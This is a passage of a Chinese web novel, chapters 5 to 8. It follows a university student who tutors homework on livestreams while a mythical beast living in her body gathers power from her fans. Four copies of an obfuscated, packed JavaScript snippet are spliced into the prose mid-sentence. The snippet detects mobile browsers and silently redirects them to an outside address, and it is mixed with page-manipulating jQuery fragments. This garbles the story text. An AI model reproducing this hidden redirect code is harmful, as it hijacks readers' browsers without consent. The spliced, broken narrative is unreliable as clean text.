安随笑了笑:“你好呀,风过留痕。需要辅导语文吗?” 风过留痕:“对对对,我语文不行,每次都及不了格,阅读理解也经常理解偏,有什么好的建议啊?” 安随:“多看多写多听,错题多做几遍,文章多读几遍,自然就容易理解了。” 风过留痕:“真的吗?” 他有些不信,毕竟他平常也经常做错题,但是下次还错,他也很苦恼。 安随:“对。” 毕竟她就是这么学的。 可惜,她似乎并不知道,这世上有一种人,那就是怎么也学不会,怎么也理解不了的学渣。 风过留痕似懂非懂,但还是选择相信,毕竟这个直播间怎么看怎么顺眼,说不定主播真有两把刷子呢。 正好在直播间,风过留痕便将要讲的题给安随看,安随看了会儿便有了思路,跟他讲了解题思路,风过留痕恍然大悟地“哦”了一声,最后千恩万谢地下了麦。 好像有点道理耶,他怎么就想不到呢? 第二个连麦的是巴拉巴拉,是个声音可爱的小女孩。 “姐姐你好呀,可以教我怎么学物理吗?我的物理超级差,每次老师讲的听都听不懂~” 安随也被她的声音感染:“好呀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615722|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是哪里不懂啊?” 巴拉巴拉:“我感觉我所有的都听不懂,但是又必须学,如果物理能换成历史,考两科历史就好啦~” 安随被她逗笑了,这小女孩真的好可爱,她要是有个那么可爱的妹妹,感觉每天的生活都充满了希望。 安随:“那你现在需要我讲哪道题吗?我和你说一下思路,你可以举一反三。” 巴拉巴拉连忙翻到那一页,是一道初中物理题,关于光的折射。 巴拉巴拉:“海市蜃楼为什么是折射啊?比如天上有一栋楼,为什么是光的折射形成,而不是因为天上本来就有一栋楼,只是不小心被人看到了呢?楼怎么会折射到天上呢?地面上又没有楼。” 安随:“这就是物理的奥秘,如果天上真的有楼,这就不是物理,而是神话了。” 白泽插嘴:“天上真的有楼,本君去过,只不过不是你们这种高楼大厦,像你们古代的那种楼宇。” “闭嘴,我在讲物理,不是听你说神话。” 白泽:“本君在陈述事实,天上真的有楼,还有很多神仙,只不过不是尔等凡人能看到的,神仙都高傲的很。” “包括你吗?所以高傲的神,你为什么还呆在我身体里,不回你的天上?” 白泽:“……” 白泽发现,这人类牙尖嘴利得很,他就从她那讨不了好。 白泽想早日恢复真身的决心更加强烈了。 直播间怎么才一千人?多来点人啊,让信仰之力来得更猛烈些吧! 安随又跟巴拉巴拉讲了会儿题,巴拉巴拉心满意足地下麦了。 接下来一直到晚上十点,安随的麦就没断过。礼物特效刷个不停,她的嘴唇也讲干了。中途就去上了个厕所倒了杯水,其他时间几乎没离开过。 十一点时候,安随抬眼看了下时间,又看了还没回宿舍的室友,有些担心,便和粉丝说了下线,准备给蒋栗打电话。 蒋栗坐在宿舍楼下的长凳上听安随直播,接到安随的电话时,她刚拍死一个苍蚊子,吸满了她的血。解决完蚊子,才用柔媚的声音说道:“亲爱的,怎么啦?” 安随被她的声音惊了一下,过了会儿才道:“你还不回来?” 蒋栗:“这就回来,怎么,想我了呀?” 安随:“嗯。” 这下换蒋栗不知道怎么接话了。有的时候,来自直女的表白,还让人有些招架不住呢。 蒋栗进了宿舍楼,走到宿舍门口的时候才道:“开门吧。” 安随打开门,看到蒋栗倚在门口,并迎接对方一个飞吻。 蒋栗跟没骨头似地扑到安随怀里,柔软的胸脯蹭得安随下意识地退后一步。 安随:“站好了,别摔了。” 蒋栗惯性往前倾,眼见着要摔倒,眼疾手快地扶住旁边的床栏。 "你真是,一点都不懂得怜香惜玉。" 白泽:“喂,你以后不要让其他人碰你,本君不喜欢别人的触碰。” 安随没理他,而是给宋知冉打电话。 只是,电话响了接通了,一直响到提示无人接听都没有人接。 安随皱眉,问蒋栗:“你知道宋知冉去哪里了吗?” 蒋栗愣了愣,随后摇了摇头,她们今天晚上没一块出门,宋知冉也没告诉她的行踪。 十二点,宋知冉电话变成了无法接通。 安随心中涌起了一股不详的预感。 5. 第 5 章 “白泽,你能预测到宋知冉出了什么事吗?” 白泽难得地也变得严肃起来,只是他第一次预测几乎已经消耗掉他所有的灵力,这两天直播刚恢复了一点,他还来得及存就又要消耗掉了。 白泽:“本君的灵力极其珍贵,用一点少一点,你想好拿什么东西交换了吗?” 交换?她还有什么东西能值得拿出来交换? “你想要什么?”安随反问他。 白泽兴奋地连语速都快了许多:“你只要答应以后本君想吃东西的时候不能阻拦,本君就帮你找人。” 就这吗? 安随觉得有些好笑。 果然还是个吃货啊。 “好,我答应你。” 白泽这才心满意足了。 由于本人没在面前,白泽需要借助她常用的物品才能感受她的气息。 安随环顾了下四周,最后目光锁定在宋知冉常用的那只中性笔上。 将笔握在手里,白泽难得认真地说:“闭上眼。” 安随听话地闭眼,随后脑海里便开始闪现一幕幕画面。 身着白色连衣裙的女孩从酒吧出来,却被几个醉汉拦住去路,正要抬脚踹人时,旁边出现一个人将那几个人都打跑了。 那人戴着帽子,黑夜里看不清面容,只让人觉得速度很快,身手很好,女孩看得心花怒放,然后问他要联系方式,可惜对方一句话都没留,转过身就走,女孩快步去追他,谁知他越走越快,竟然就这么消失在黑夜里。 而一起消失的,还有女孩的踪影。 “她的气息从这里开始便消失了。本君感应不到她的存在。”白泽道。 “什么意思?”安随心里咯噔一声。 白泽:“她现在应该不在人间了。” “咚——” 安随一下子瘫软在地,心里还是难以置信,宋知冉真的出事了吗? 白泽:“喂,你别着急啊,本君又没说她死了,只是暂时不在这个空间了而已,本君看到了她的未来,她活得好好的,一会儿就回来了。” 安随几乎咬牙切齿地开口:“你能不能一次性把话说完?唬人很好玩吗?” 白泽一本正经道:“本君只是在让你体验预测未来的过程,是不是很奇妙?” 安随:“我谢谢你啊。” 白泽:“不客气,助人为乐是人类的优良传统美德,本君正在向人类学习。” 安随深吸了好几口气才忍住了把他从身体里拽出来痛扁一顿的冲动。 不气不气,气大少一亿。为了一个亿,她忍了! 一旁的蒋栗见安随在短时间内脸上闪过着急、悲伤、气愤、忍耐几种情绪,有点摸不着头脑。 安安这是怎么了?她还是头一次看到她脸上有那么多种情绪呢。 知道宋知冉没事,安随才放下心来,让蒋栗先去洗漱,她则在寝室里等宋知冉回来。 十二点半的时候,寝室门的锁响了。 安随强睁开眼,目光紧盯着寝室门。 直到门外出现了宋知冉的身影,安随悬着的心才算真正落下。 安随:“你去哪了?怎么那么晚才回来?电话也打不通。” “打不通吗?”宋知冉有些心虚,见安随一直等着她,心里顿时有些愧疚,还有些感动。 宋知冉:“对不起啊安安,我就是玩嗨了忘了时间,你给我打电话的时候应该是那段路没信号,所以打不通。” 安随没再追问下去。 既然宋知冉不说,她也不会打破沙锅问到底,只要人平安回来就好。 不一会儿,洗完澡出来的蒋栗见宋知冉平安回来,激动地扑过去抱住她。 “姐妹儿你可总算回来了!我跟安安都快担心死了!” “头发湿的,赶紧去吹干!”宋知冉连连把她往外推,心里却十分感动。 她的两个室友都那么在意她呢。 想到今晚碰到的那个神秘人,宋知冉心里升起一股异样的感觉。 今晚发生的一切,就像一场梦,突然出现又突然消失的神秘人,让她一瞬间觉得自己出现了幻觉,可是她无意中捡到的一块刻着奇怪花纹的牌子又在提醒她,那个人真的出现过。 宋知冉摩挲着那块牌子,小心翼翼地将它放好。 直播第三天。 下午的时候没有课,安随上了速音发现自己的粉丝涨到了2000,但离1万还有一段距离,于是吃完午饭后,她便开始直播了,虽然她对白泽说的粉丝上万抱有期望,但并不代表她就呆在原地等待粉丝自己涨起来。 如果因为知道自己会达到那个目标而不努力,那得来的一切也是虚的。 白泽见她早早上线也偷偷舒了口气,他还真怕她就这么躺平等粉丝自己涨起来呢,到时候为了达到这个目的,他就不得不使些小手段了,比如买粉什么的。反正说的粉丝上万,也没说是真粉还是僵尸粉。 安随照例开启直播。由于她每天直播时间不固定,她才刚刚有几个粉丝,也没人天天在那等着她开启直播。因此她上播的时候,直播间空荡荡的,没有几个粉丝进来。 但因为是饭点,刷速音的网友也多,慢慢地便陆续有人进来,有老粉,也有被她直播间名字吸引进来的。 吸引进来的大多是学渣,想看看谁这么狂居然夸下海口,顺便也抱有期望,万一这人真有几把刷子呢?说不定自己就能从学渣变成学神,再也不用听家人的唠叨了。 “主播好啊,你真能带我上985吗?有什么诀窍啊?” “主播是哪个名校的学生啊?能透露一下吗?” “华国就那三十多所985大学,看她IP在C省,就那两家而已。” “那两所学校的师资条件都还不错,看来主播确实有两把刷子。” “那可以放心入坑了,主播准备怎么带我们学啊?需要教学费吗?” 安随看着刷个不停的留言,已经渐渐习惯了,淡然道:“连麦讲题,不需要讲题的就别抢麦序啦。” 随即便有人上了麦,听声音是个小朋友,讲的题是小学题,但安随还是耐着性子给她讲了题,小朋友高高兴兴地下了麦。 一连上麦的几个人,讲的都是些比较简单的题,甚至是课本上就有的例题,但因为自己理解能力差了,老师讲了没听懂,又让安随给他们讲了一遍。神奇的是,安随讲的一遍就听懂了,这让他们不得不佩服安随讲课确实容易让人理解。 安随连着讲了几个简单的题,因着是中午,竟然有些犯困了。白泽在旁边提醒她:“粉丝2500了。” 安随随即就清醒了。 还得努力啊。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615723|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 又过了会儿,白泽提议道:“不如我们换个玩法,这样信仰之力涨得太慢了。” “换成什么?”安随问。 “不如就叫:白泽在线陪学,进直播间的人考试每科增加10分以上。” “能行吗?”安随有点怀疑。 万一不行,岂不是砸了自己的招牌?虽然她这招牌才立起来没两天,但她也不想因为这种虚无缥缈的事给别人希望。 白泽兴致勃勃地开口:“相信我。” 安随就这样答应了。 没办法,有的时候白泽说的话确实让人难以招架。 毕竟,为了一个亿,她只能选择相信他。 安随很快换好了名字。 很快就有人注意到了这一点,见她取的名字那么不靠谱,甚至有点中二,不由质疑:“主播你飘了啊,虽然你讲的题确实有点意思,但也没到达这个地步吧,说大话就不怕闪了舌头啊?” “听声音是个妹子,还是985的大学生,这么不靠谱吗?开始走神棍路线了啊?” “还叫什么白泽,查查这两个学校有这个学生吗?” “笨呐,这种肯定都是取的网名,谁还用真名直播啊?但是能取出这种网名的人现实里多半是个丑八怪,不然怎么不敢露脸?” 嘿,还开始人身攻击了。 “喂,你们不相信的人可以出去啊,又没谁非让你们呆在这里。” “还不能说了吗?我们还不是为了主播好啊,好不容易找到个有两把刷子的学习主播,结果这才几天,就飘得没边了。” “我就想问问当初在微博和某书推荐这个学习主播的人,现在打脸了没?这才两天就翻车了。” “不看的就滚,别在直播间吠,搞得乌烟瘴气的。” “主播那么快就有腿毛了?不会是请的水军吧?严重怀疑之前入侵微博和某书的人都是她请来的演员。” “主播这两天的打赏够付买水的钱吗?要不要我再赞助点?” 系统提示:狗头军师送出一坨狗屎。 安随看着狗头军师送的价值1速币的狗屎,都快被气笑了。这礼物,还不如不送,纯纯膈应人。 甚至后面的人也有样学样地送狗屎给安随,几十个几百个地送。安随看着满屏的狗屎特效,感觉自己脸都脏了。 “这就是你的办法?吸引人进来骂我然后涨粉?”安随看着蹭蹭上涨的在线人数,气得恨不得把白泽拖出来揍一顿。 白泽不在意地说道:“别急,这才哪到哪?这些人嘴上骂得欢,也没见谁离开直播间,甚至人数还升了起来。” “可能他们都是进来看我笑话的吧。”安随已经无力吐槽了。 她真是中了邪,居然信白泽的鬼话。 白泽:“嘿嘿,黑红也是红嘛,反正他们骂的是本君,又不是你,你气什么?” 白泽看着蹭蹭上涨的信仰之力,已经兴奋地搓手手了,安随怎么也压不住。 “喂,你能不能矜持点?” 白泽:“本君开心,让暴风雨来得更猛烈些吧!” 安随不想搭理他了。 不过听他这么一说很快就释然了,反正直播间挂的是白泽的名字,骂也是骂他。 那就随便骂吧,正好让这个涉世未深的神君感受一下这届网友的战斗力。 6. 第 6 章 于是,白泽接受了一场来自网友精心准备的言语洗礼。 “慕名进来,听说来这个直播间高考每科能涨10分?” “格局小了,至少100分。” “200分吧。” “那我岂不是考得比总分还多?我家祖坟里埋着的祖宗都能笑活了。” “10001分,这个分数够考宇宙系了。” “谢谢主播啊,我正愁吃饭没乐子看呢,这不就有了。” “不建议吃饭的时候看,不然怕你把饭喷出来啊。” “主播怎么不敢露脸啊,是没脸能露吗?” “直播间评论比主播好看系列。” “我决定今天就待在这里不走了,我想看有多少跟我一样是进来看热闹的。” 网友们骂得不亦乐乎,甚至已经从最开始的愤懑变成了找乐子,评论风向也越来越歪了。 而直播间排名也被顶到了前面,于是很多不明真相的网友进来,见到评论全是骂主播的,不由懵了。 “弱弱问一句,这是学习直播间吗?怎么全是骂人的?” “是学习直播间啊,我们在讨论学习成果呢。” “学的,什么呀?” 萌新进来看了半天也没看明白学的什么,反而被评论带歪了,加入了战局。 于是,安随眼睁睁地看着自己的粉丝一路上涨,突破五千,六千……直至,突破一万大关。 白泽:“搞定,本君说得没错吧,三天粉丝上万,轻轻松松。” 安随心里五味杂陈,这都什么事呀…… “他们骂你你心里就没点波动吗?” 白泽:“有波动啊,本君看着那越来越多的信仰之力,心里能没波动吗?” 算了,种族隔离,交流起来困难。 眼见粉丝上万,安随这才开麦,和直播间的网友说道:“今天的直播到此结束,我们明天再见。” 说完,也不看网友的反应,眼疾手快的关掉了直播间。 而网友们,还没反应过来,便猝不及防地结束了这场网络狂欢。 总觉得,如芒在背,如鲠在喉,若坐针毡。 怎么就突然结束了?他们还没骂够呢。 再一看主播的粉丝数,短短一个小时的,粉丝竟然涨到了1万,顿时恍然大悟,随后捶胸顿足。 靠,上了鬼子的当了! 原来,他们才是主播play的一环! 安随下了直播间以后,长舒了口气,总算不用看他们骂人了。 虽然她安慰自己他们骂的是主播白泽,但是有时候仍然会被带着骂大学生怎样怎样,她没办法完全割离。 白泽看出了她的心事,便安慰她道:“你要想开点,不疯魔不成活,想要达到目的,就不得不使些小手段。” “神也一样吗?” 白泽怔了一下:“什么?” 安随问:“所以,神也和凡人一样,为了达到目的,也会使些手段吗?” 白泽:“……是,神也一样。” 安随没说话了。 下播以后,安随便准备睡个午觉。 下午宿舍里只有安随一个人,屋子里安安静静的,外面阳光明媚,阳光透过窗台爬进来,落在地面上,点缀出点点光芒。 白泽一下午难得没有吵着要玩手机,让安随清静了不少,直到夕阳西下,晚霞漫天,外面变得人声鼎沸,原来是到了饭点,学生们陆陆续续都从宿舍赶往食堂了。 安随被饿醒了。 肚子里咕咕叫唤,她睁眼看着已经渐暗的天色,看了眼时间,才发现自己竟然睡了三个小时。 她已经很久没有睡那么久的午觉了,特别是白泽出现以后,总要吵着玩手机,导致她经常睡眠不足。 这一觉也算是把她的元气都补了回来。 安随伸了个懒腰,随后下了床。 宿舍另外两人还没回来,安随也没问她们。 她已经习惯了一下课就见不到她们的身影。 安随去了食堂吃饭,按照往常她只打食堂最便宜的5元套餐,两个素菜,偶尔加个荤菜。今天粉丝涨到1万,也算是个值得庆祝的日子,特别是白泽功不可没。想到他平常总是一副对什么美食都充满渴望的样子,便难得大方地问道:“你今天想吃什么?随便点,我请客。” 想了想,安随又补充道:“价格别超过20啊。” 加15块已是她的极限。 直播间的打赏还不能提现,她只能从自己的生活费里预支。 只是,说了一会儿,都没听到白泽的回应。 安随觉得奇怪。 好像,从直播结束,他就很少说话了。 按理说,粉丝过万是件值得高兴的事,他的信仰之力也涨了很多,按照他的性子,这个时候应该已经手舞足蹈了。 是因为之前她问的那句吗? 安随敏锐地察觉到了问题根源。 所以,白泽以前是见到过神的不择手段,还是,亲身经历过? 安随甩了甩头,不让自己想下去。 再想下去,感觉自己就会想出一台勾心斗角的剧了,特别还是涉及到神仙的,总觉得自己会小命不保。 安随没再管他,而是自己打了一份价值20的菜。 他不吃,就算是犒劳自己吧,也辛苦了那么久。 还别说,多15块钱的菜,确实不一样。 她可以点个鸡腿,还能额外点两个肉一个素,够她解好久的馋了。 A大的食堂菜品都还不错,特别是鸡腿十分入味,口齿留香,汁液顺着嘴角留下来,吸溜一下又被安随吸了回去。 安随赶紧拿张纸巾装作擦嘴,以掩饰自己的尴尬。实际上心里在骂白泽:“你能不能有点出息,不就是个鸡腿吗?搞得八百年没吃过一样。” 白泽哀怨地开口:“你居然背着本君吃好吃的,吃鸡腿为什么不叫本君?为什么不叫我?为什么不叫?” “我刚才问你了啊,是你自己不理我。” 白泽:“我没听见!哼!我不管,你就是背着我吃独食!” “怎么不自称本君了?不是神君吗?” 白泽:“在美食面前,神君算个屁!” “能不能别那么粗鲁?你好歹是个神!” 白泽:“啧,这就粗鲁了?那我要是说屎尿屁岂不是更粗鲁?” “白泽!我在吃饭呢!” 安随气得牙痒痒,这白泽,就是故意的! 白泽:“谁让你背着我吃好吃的?为什么不叫我?我没答应就是没听见,你就不能自己加餐!” “好好好,我错了。”安随服了这家伙,再这么纠缠下去,他能在她耳边一直念屎尿屁,想到那个画面,她就一阵恶寒。 小女子不跟神斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615724|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,斗不过啊斗不过。 最后,安随不得不在白泽的威胁下又点了个鸡腿。 今天晚上的餐标已经达到了恐怖的25元,安随一想到这个数字,就觉得天都快塌了。 神啊,救救她吧,赶紧把这祖宗送走吧! 不不不,不能送走,她的一亿还没拿到呢。 安随很快又从混沌中清醒过来。 不仅不能送走,她还得好吃好喝地供着呢。 安随随即换了副面孔,笑眯眯道:“神君啊,现在粉丝上万了,接下来应该设定个什么目标啊?” 白泽将鸡腿塞进嘴里用力撕扯着,边吞边含糊不清道:“你想定什么?” 安随想了想,感觉这么涨下去,一年内赚到一亿有点难啊,于是决定想个大的。 “一个月内,粉丝百万,如何?” “呃呃呃——”白泽刚吞了口鸡肉,听到她的话,顿时卡在喉咙里,连忙舀了碗免费蔬菜汤灌下去才缓了过来。 白泽:“你真敢想啊,三天一万,一个月十万才对,你怎么还加了个0?” 安随:“那些一夜涨几百万粉的人都有,一个月百万又不是不可能。” 白泽想了想觉得她说得有道理,甚至还思考起了一夜百万的可行性:“如果要一夜百万的话,得好好筹划一下,毕竟这种几率还是小。” 安随见他真的开始思考怎么一夜百万粉,甚至已经脑补出使用特殊手段的画面,连忙制止:“打住,我只要一个月百万粉就够了,别的不奢求。” 白泽:“啧,一点冒险精神都没有。” 安随:“也不知道谁刚才说我真敢想。” 白泽:“说你敢想是在夸你呢,意思是还可以更敢一点。” 安随:“……” 两人扯了一会儿,安随突然问:“你刚才怎么了?” 还是有点好奇白泽以前的事情,如果能从他嘴里撬出点仙家秘闻就更好了。 白泽伸了个懒腰:“升了个级而已,小场面,淡定,以后这种事还多着呢。” “你升级了?那现在有什么不一样?”安随问。 “看不出来,没什么不一样。” 实际上,白泽感觉自己的灵魂被修补了一点点。但这种感觉玄而又玄,说不清楚,只是感觉罢了。 “哦。”安随有些失望。 还以为能现形呢,正好让她看看这个欠揍的家伙长什么样。 直播第四天。 星期四课几乎是满的,到了晚上才空闲了点。 一整天课上下来,安随感觉自己灵魂都快出窍了,没办法,太专注了,耗费的精气神就多了点。 但她又不得不强打精神,毕竟晚上还要直播。 蒋栗见她精疲力尽却又还要直播,有些心疼,便提议道:“安安,我们好久没一起逛街了,不如晚上一起逛逛吧。” “你不和你男朋友一起吗?” “分了,男朋友哪有女朋友重要啊?” 安随看了会儿时间,马上八点了,再不直播今天就直播不成了:“改天吧,我晚上还有事。” “一天不直播也没事,最近你都累坏了,好好休息一天吧。”蒋栗扯着安随的胳膊就往外走,却发现安随站在原地没动,回过头才看到安随正满脸疑惑地看着她,“你怎么知道我在直播?” 蒋栗连忙捂住嘴,恨不得给自己两巴掌。 7. 第 7 章 蒋栗干笑了两声:“有次我回来无意中听到了你在直播,就没打扰你。” “什么时候?”安随有些诧异。自从她与白泽签订灵魂契约以后,她的五感都被放大,百米范围内的声都能听到。但因为在宿舍楼,人员太多了,她便照着白泽的指示调高自己能听到的音量标准,这样的话她只能听到比较突兀的声音,而正常的音量在她这里便消音了。 所以,她竟然对蒋栗听到她直播的这个事情一无所知,如果她没有调高标准的话,她们早回来她是能发现的。 蒋栗说话声音越来越小:“就前几天,其实,我还看你的直播。” 安随看着她一副做错事的样子,突然笑了:“你是怕我生气吗?” 蒋栗抬眼看她:“你不生气吗?毕竟你并没有告诉我们你在直播,我们却在偷偷关注你,会不会觉得隐私被人窥探了啊?” “怎么会?”安随反问她,“我很高兴,如果我没猜错的话,你就是举个栗子吧?” “你怎么知道?”蒋栗都惊了,她还什么也没说呢,安安就猜到了,也太敏锐了吧! 安随得到肯定的答复,便什么也明白了。 怪不得突然有人找她辅导作业了,原来是她的室友啊。 “那冉冉知道我直播的事吗?” 蒋栗小鸡啄米般地点了下头,随后倒豆子般把自己知道的事情都倒了出来:“冉冉她也知道,而且是她最先发现的,也是她告诉我你在直播的事。对了,她的网名叫小太阳。” 安随很快想起来,小太阳就是第二个找她辅导作业的网友,还给她打赏得挺多。 一瞬间,一种难以言说的情绪涌上心头,连鼻头也变得有些酸意。 她的室友啊,竟然那么可爱,她以前竟然没有发现,错过了多少培养感情的机会。 安随觉得,这个陌生而又繁华的城市,也变得没那么陌生了。 “谢谢你们。” “谢什么呀?说这些就太见外了。你只要好好直播就行,我每天给你加油。” 安随应了一声:“嗯,我会的。” 得到肯定答复后,蒋栗心满意足地出去了,将空间留给了安随。 屋子里又剩安随一个人。 “阿嚏——” 突兀的喷嚏声骤然响起。安随揉了揉鼻头,问白泽:“你又怎么了?” 白泽打了个哈欠:“我正睡得香,突然觉得鼻子有些泛酸,便忍不住打了个喷嚏,你这是怎么了?哭了?” “才,没,有。”安随一字一句道。 “这有什么?哭笑都是正常的情绪,想哭就哭,想笑就笑,多潇洒自在,别什么都憋在心里,会憋坏的。”白泽煞有其事道。 “都说了没有。”安随不想在这个话题上争论下去。 白泽却不依不饶:“我跟你讲,以前有个妖,遇到事情不知道释放自己的情绪,什么都憋在心里,后来他就自爆了。所以你有什么都要释放出来,不然我怕你步他后尘。“ “妖还会自爆呢,和人类自杀一个意思吗?”安随有些好奇了,这还是她头一次听白泽讲到妖界的其他妖。只是她更好奇的是,白泽到底是神还是妖啊?如果是妖,为什么又让她叫他神君?如果是神,又为什么生活在妖界? “每只妖体内都有妖核,自爆就是体内的妖核爆了,一身的修为也就废了,成了一只再也不能修炼的动物,和人类的自杀还是有点区别的。”白泽解释道。 “那它成了普通动物,在妖界怎么生存下去啊?那里都是有修为的妖吧?”安随被他说得更加好奇了。 “是啊。”白泽叹了声气,“后来,它就成了其他妖的盘中餐。” 安随突然不知道该说点什么了。 原来,妖界比人界更加奉行弱肉强食的食物链规则。 想到白泽到如今也没有显现过身形,而他也一直强调需要信仰之力,所以,他也是食物链底层的一员吗? 如果真的是这样,真实的妖界又是怎样一副地狱的模样,连上古十大神兽之一的白泽也沦落到这副模样? 安随不敢想下去。 总觉得自己好像触碰到了一些禁忌。 但念头只一起,白泽便感受到了。 如果白泽能现形,他现在已经气得跳了起来。 白泽:“女人,请停止你的想象!本君可是站在食物链最顶端的神兽,怎么可能是最底层!!!” “哦哦哦。“安随连连应声,但是仍不忘戳他肺管子,”那食物链最顶端的神兽,你怎么不会现形啊?也让我这个小小凡人见识一下神兽的真颜啊?” “你就是故意气我!”白泽“哼”了一声,随后不说话了。 安随见他真生气了,也不再逗他,而是坦言道,“其实,我只是想知道你为什么会来人界,又为什么和我签订灵魂契约,又为什么需要信仰之力,既然我们上了一条船,我觉得有些事情还是说清楚比较好点。” 不然,她总觉得自己被人牵着鼻子走,对前方的路看不太清。 灵魂契约,真的没有一点副作用吗?这是她一直担心的事情,从最开始的喜悦过后,她思考得比之前更多,看问题也更全面了,她不得不为自己的未来考虑。这个灵魂契约未来能不能解,她的体内不会永远住着一个白泽吧?如果,她是说如果,以后她谈恋爱了怎么办?不会还和白泽一起讨论未来男朋友的尺寸吧? “你你你!你真是要气死我了!满脑子想的都是些什么啊?”白泽气得恨不得立马和她解绑。他这是造了什么孽,怎么和这么个满脑子黄色废料的人绑定在一起? “这有什么?”安随不以为意,“这是正常的生理需求而已,我以后肯定得享受谈恋爱的感觉,不会孤独终老的。你也可以找个母兽谈恋爱啊,咱们谁也不耽误谁。” “你你你……”白泽不知道怎么接话了,甚至感觉自己脸都烧了起来。 安随摸了摸自己的脸颊,热乎乎的,屋子里空调确实开得高了点。她将温度调低了点,风速调低,总算没那么热了。 安随突然想起来,两人说了半天,白泽还是没有给她透露自己的情况。 “所以,你不多说点什么吗?关于你来到人界的目的。” 屋子里一下子陷入了寂静之中。 良久,在安随觉得她不会听到答案时,白泽开口了。 “我其实已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615725|187740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了,住在你身体里的只是我很小的一块灵魂碎片。” 安随:“……” 安随觉得自己好像听到了什么天方夜谭。为什么每个字她都能看懂,连起来却有点不明白了? “我是被妖王杀死的,但是我在百年前预测到我命中有此一劫,割下自己的一片灵魂碎片藏了起来,待我死后,我的意识便会到这块碎片里,然后,等待重生的机会。我还预测到了我重生的机会在人界,所以早早将这块碎片放在了人界的一本古籍里,然后,我便遇见了你,听到了你的愿望,我知道,我重生的机会来了。” “安随,你就是我的机会。” 这是安随第一次听到白泽用这么认真的语气和她说话,一时竟有些不习惯,而白泽说的这番话也让她突然不知道该同情他还是同情自己。 总感觉自己肩上的担子更重了怎么办? 开玩笑,她肩上担的可是一个神转世重生的机会,能不重吗? 白泽看出来她的担心,连忙安慰道:“你不用担心,和之前一样就好,剩下的交给我。” “不一样,我之前是不知道,所以能坦然面对,但是现在知道了,怎么可能还像之前那样?”而且两人已经绑定了灵魂契约,就是一条绳上的蚂蚱。她有点担心,万一他重生不成功,那她是不是也跟着没了?细思极恐好吗? 所以,她不得不想想,未来该怎么让直播更加吸引人,让白泽多加信仰之力了。 “对了,妖王为什么要杀你啊?”安随有些好奇。 白泽摇头:“我也不知,我的记忆不全,只知道一些事情,如果我的灵魂恢复完整,记忆也会跟着恢复。” “好,那我要努力直播了!”安随给自己加油打气。 为了一个亿,也为了保命。 安随很快上了直播,一看粉丝数,竟然涨到了2万。 这届网友可真能骂,这才一天,就又有一万人来骂她了。 但是心理再强大也架不住那么多人骂她啊。 安随问:“有没有什么能屏蔽别人的骂的办法?” “不看就行了。” 安随:“……” 算了,不管了,要骂就骂吧,只要不连名带姓,她就能当成不是骂她。 “主播上线了。” “主播我今天不骂你了,因为爷作业全部做完了,爷今天高兴。” 系统提示:杜家小爷送出一艘宇宙飞船。 “我也做完了!还别说,主播真的有点玄学在身上,看了她的直播后,我的作业竟然全部都能做完,以前可是有一半的题不会做的。” “原来你们也是吗?我以为就我这样呢。” “看来是我们错怪主播了?对不起主播,我昨天不该那样骂你。” 系统提示:硕鼠硕鼠送出一架飞机。 “对不起。” …… 系统提示:…… 满屏的对不起和礼物特效让安随小小震惊了一下。 这才一天,风向就180度大逆转,这玄学也太快了吧! 不得不说,白泽确实有两把刷子,她已经能遇见到自己一年以后拥有一亿的场景了。 8. 第 8 章 评论区礼物还在不停地刷着,安随抽空说了个话:“谢谢大家的礼物,如果大家有作业需要我辅导的,可以连麦。” 还是得干老本行,不然总觉得自己有点心虚。 但网友们显然并不买账,他们已经被“看白泽直播”学习能变好这个认知惊得恨不得一天24小时都挂在直播间,更有甚者已经提出让安随24小时直播了。 安随看得两眼一黑:“这位宝子,我要上课,还要睡觉,怎么可能24小时直播啊?” “那主播就把号挂着,做你自己的事去,其他就交给我们就行。” 安随毫不留情地拒绝了:“我手机电池差,播不了那么久。” “我给你买个新的。” “不,两个,你可以一个直播一个自用。” 安随:“你的好意我心领了,但我不会平白无故拿别人的东西。” “主播求你了!我需要你!我高考就靠你了!” 安随被这句话惊了一下,她意识到,再这么下去,她的直播间很有可能被人举报,然后被封。 